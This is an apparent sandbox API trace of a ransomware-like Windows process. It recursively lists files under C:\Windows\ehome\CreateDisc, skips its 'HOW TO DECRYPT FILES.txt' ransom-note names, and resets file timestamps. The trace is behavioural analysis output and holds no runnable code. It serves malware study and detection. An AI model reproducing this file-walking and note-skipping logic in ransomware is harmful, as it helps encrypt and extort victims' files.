0x20 [0127.210] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="SonicMCEBurnEngine.dll" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngine.dll") returned="C:\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngine.dll" [0127.210] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngine.dll", pszSpec="*.ems") returned 0 [0127.210] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2762968, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2762968, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02e15b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4879, dwReserved0=0x0, dwReserved1=0x0, cFileName="SonicMCEBurnEngineIcon.png", cAlternateFileName="")) returned 1 [0127.210] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SonicMCEBurnEngineIcon.png") returned -1 [0127.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SonicMCEBurnEngineIcon.png") returned -1 [0127.211] lstrcmpiA (lpString1="", lpString2="SonicMCEBurnEngineIcon.png") returned -1 [0127.211] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngine.dll") returned="SonicMCEBurnEngine.dll" [0127.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.211] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.211] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.211] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt")) returned 0x20 [0127.214] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf231d1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa977f08, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SonicResources", cAlternateFileName="SONICR~1")) returned 1 [0127.214] lstrcmpA (lpString1=".", lpString2="SonicResources") returned -1 [0127.214] lstrcmpA (lpString1="..", lpString2="SonicResources") returned -1 [0127.214] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngineIcon.png") returned="SonicMCEBurnEngineIcon.png" [0127.214] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf231d1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa977f08, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501550, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.217] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.217] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf231d1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa977f08, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.217] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.217] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.217] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2762968, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2762968, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02e15b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a9, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ClickMe.htm", cAlternateFileName="")) returned 1 [0127.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.217] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ClickMe.htm") returned 1 [0127.217] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ClickMe.htm") returned 1 [0127.217] lstrcmpiA (lpString1="", lpString2="ClickMe.htm") returned -1 [0127.217] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\*.*") returned="*.*" [0127.217] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\") returned="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\" [0127.217] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\SonicResources\\") returned="" [0127.220] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.220] CloseHandle (hObject=0x8c) returned 1 [0127.223] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2762968, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2762968, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02e15b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a9, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ClickMe.htm", cAlternateFileName="")) returned 0 [0127.223] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.223] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f499a, dwReserved1=0x18001008, cFileName="style", cAlternateFileName="")) returned 1 [0127.223] lstrcmpA (lpString1=".", lpString2="style") returned -1 [0127.223] lstrcmpA (lpString1="..", lpString2="style") returned -1 [0127.223] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\*.*") returned="*.*" [0127.224] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\style\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.224] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.224] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.224] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.224] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.224] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.224] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.224] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740073, dwReserved1=0x6c0079, cFileName="Styles", cAlternateFileName="")) returned 1 [0127.225] lstrcmpA (lpString1=".", lpString2="Styles") returned -1 [0127.225] lstrcmpA (lpString1="..", lpString2="Styles") returned -1 [0127.225] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\*.*") returned="*.*" [0127.225] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.225] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.225] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="NTSC", cAlternateFileName="")) returned 1 [0127.226] lstrcmpA (lpString1=".", lpString2="NTSC") returned -1 [0127.226] lstrcmpA (lpString1="..", lpString2="NTSC") returned -1 [0127.226] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\*.*") returned="*.*" [0127.226] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.226] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.226] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.226] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.226] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.227] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony", cAlternateFileName="")) returned 1 [0127.227] lstrcmpA (lpString1=".", lpString2="Symphony") returned -1 [0127.227] lstrcmpA (lpString1="..", lpString2="Symphony") returned -1 [0127.227] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\*.*") returned="*.*" [0127.227] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0127.229] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.229] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.229] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony", cAlternateFileName="")) returned 1 [0127.229] lstrcmpA (lpString1=".", lpString2="Symphony") returned -1 [0127.229] lstrcmpA (lpString1="..", lpString2="Symphony") returned -1 [0127.229] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\*.*") returned="*.*" [0127.229] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0127.230] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.230] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.230] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.230] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.230] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd25bfa69, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd25bfa69, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfcedf07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x208c7e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony.psd", cAlternateFileName="")) returned 1 [0127.230] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0127.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Symphony.psd") returned -1 [0127.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Symphony.psd") returned -1 [0127.230] lstrcmpiA (lpString1="", lpString2="Symphony.psd") returned -1 [0127.230] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\*.*") returned="*.*" [0127.230] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\") returned="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\" [0127.230] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\") returned="" [0127.232] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.233] CloseHandle (hObject=0x98) returned 1 [0127.234] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd25bfa69, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd25bfa69, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfcedf07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x208c7e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony.psd", cAlternateFileName="")) returned 0 [0127.234] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0127.234] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc7baed, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfc7baed, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfc7baed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5165, dwReserved0=0x4f4a52, dwReserved1=0x18001008, cFileName="Symphony.dvd", cAlternateFileName="")) returned 1 [0127.235] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0127.235] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Symphony.dvd") returned -1 [0127.235] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Symphony.dvd") returned -1 [0127.235] lstrcmpiA (lpString1="", lpString2="Symphony.dvd") returned -1 [0127.235] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\*.*") returned="*.*" [0127.235] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\") returned="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\" [0127.235] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\") returned="" [0127.237] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.238] CloseHandle (hObject=0x94) returned 1 [0127.238] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc7baed, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfc7baed, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfc7baed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5165, dwReserved0=0x4f4a52, dwReserved1=0x18001008, cFileName="Symphony.dvd", cAlternateFileName="")) returned 0 [0127.238] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0127.238] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony", cAlternateFileName="")) returned 0 [0127.238] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0127.238] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaacf4ef, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54004e, dwReserved1=0x430053, cFileName="PAL", cAlternateFileName="")) returned 1 [0127.238] lstrcmpA (lpString1=".", lpString2="PAL") returned -1 [0127.238] lstrcmpA (lpString1="..", lpString2="PAL") returned -1 [0127.238] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\*.*") returned="*.*" [0127.239] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaacf4ef, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.239] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.239] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaacf4ef, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.239] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.239] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.239] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, 